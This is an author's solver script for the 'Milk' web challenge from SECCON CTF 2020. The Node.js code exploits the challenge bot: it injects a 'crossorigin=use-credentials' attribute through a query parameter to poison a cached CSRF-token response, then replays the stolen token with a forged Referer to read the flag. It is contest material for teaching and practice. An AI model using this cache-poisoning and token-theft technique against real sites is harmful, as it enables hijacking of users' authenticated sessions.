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SECCON CTF 2020 Milk - Author's Solver
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const Axios = require('axios'); | |
const qs = require('querystring'); | |
const https = require('https'); | |
const random = Array(10).fill().map(() => 'abcdefg'[Math.floor(Math.random() * 6)]).join(''); | |
(async () => { | |
const axios = Axios.create({ | |
httpsAgent: new https.Agent({ | |
rejectUnauthorized: false, | |
}), | |
}); | |
const {data: reportResult} = await axios({ | |
method: 'POST', | |
url: 'https://milk.chal.seccon.jp/report', | |
headers: { | |
'Content-Type': 'application/x-www-form-urlencoded', | |
}, | |
data: qs.stringify({ | |
url: `https://milk.chal.seccon.jp./note.php?${qs.stringify({ | |
id: 'hoge', | |
_: `${random} crossorigin=use-credentials`, | |
})}` | |
}), | |
}); | |
console.log(reportResult); | |
await new Promise((resolve) => setTimeout(resolve, 10000)); | |
const {data: csrfTokenJsonp} = await axios.get('https://milk-api.chal.seccon.jp/csrf-token', { | |
params: { | |
_: random, | |
}, | |
}); | |
const csrfToken = csrfTokenJsonp.match(/'(.+?)'/)[1]; | |
console.log(csrfToken); | |
const {data: flag} = await axios.get('https://milk-api.chal.seccon.jp/notes/flag', { | |
params: { | |
token: csrfToken, | |
}, | |
headers: { | |
Referer: 'https://milk.chal.seccon.jp/', | |
}, | |
}); | |
console.log(flag); | |
})(); |
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